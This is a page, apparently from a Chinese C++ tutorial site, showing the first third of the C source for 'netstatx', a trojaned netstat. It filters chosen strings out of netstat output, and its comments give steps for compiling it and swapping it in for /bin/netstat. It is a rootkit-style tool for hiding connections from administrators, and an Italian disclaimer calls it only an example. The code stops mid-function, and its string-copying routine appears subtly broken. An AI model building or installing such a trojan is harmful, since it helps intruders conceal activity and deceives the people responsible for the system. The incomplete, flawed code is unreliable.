当前位置导航:炫浪网>>网络学院>>编程开发>>C++教程>>C++基础入门教程

关于netstat的一些应用

    [code:1:029dbd400d]
    1) #define LISTOFITEMS "/tmp/.sysproc"
    * Put here the strings yout to be hidden, you must create it by your self!
    *
    * 2) #define TMPOUTFILE "/tmp/.tmp"
    * If you wish u can change the TMPOUTFILE but it's not needed.
    *
    * Compile the file
    * Move the real /bin/netstat in /usr/bin/netstat
    * Put netstatx in /bin
    * For example :
    * #gcc netstatx.c -o netstatx
    * #mv /bin/netstat /usr/bin/netstat
    * #mv netstatx /bin/netstat

    * PS: Italian--->
    * L'autore si manleva da ogni responsabilit?circa l'uso che terzi possono fare
    * del programma in questione. Il programma nasce come esempio di strumento atto
    * a nascondere delle stringhe dallo Standard Output.
    * CONSIGLIO: Non hackate, ?stupido :>
    */


    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdio.h>

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <ctype.h>


    #define READBUFFERLEN 512
    #define LISTOFITEMS "/tmp/.sysproc" //this is the file where u have to put the strings u wish to be hidden
    #define TMPOUTFILE "/tmp/.tmp" //U can modify here, if u want

    #define new(p) ( p * )malloc(sizeof ( p ))

    unsigned char filter (char *big , char *lil ) ;

    // Hiding
    struct ItemList
    {
    char *item ;
    struct ItemList *next ;
    } ;

 

    // Aggiunge una stringa di path alla lista
    // Ritorna 0 se c'e' errore
    // 1 altrimenti

    unsigned char AddItemToHide (struct ItemList **p, char *str)
    {
    struct ItemList *ptr ;
    unsigned int len ;

    if (!str)
    return 0 ;

    ptr = new ( struct ItemList ) ;
    ptr->next = *p ;

    len = strlen(str) ;
    ptr->item = (char *) malloc (len-1) ;

    strncpy(ptr->item,str,len-1);
    *p = ptr ;

    return 1 ;

    }

    // Distruttore della lista

    void Destroy (struct ItemList **p)
    {

    if (!(*p))
    return ;

    if ((*p)->next)
    {
    free((*p)->item) ;
    Destroy(&((*p)->next)) ;
    }

    free (*p) ;
    }


    // Trova un item nella lista * non serve x ora

    unsigned int FindItem ( struct ItemList *p , char *item )
    {
 

共3页 首页 上一页 1 2 3 下一页 尾页 跳转到
相关内容
赞助商链接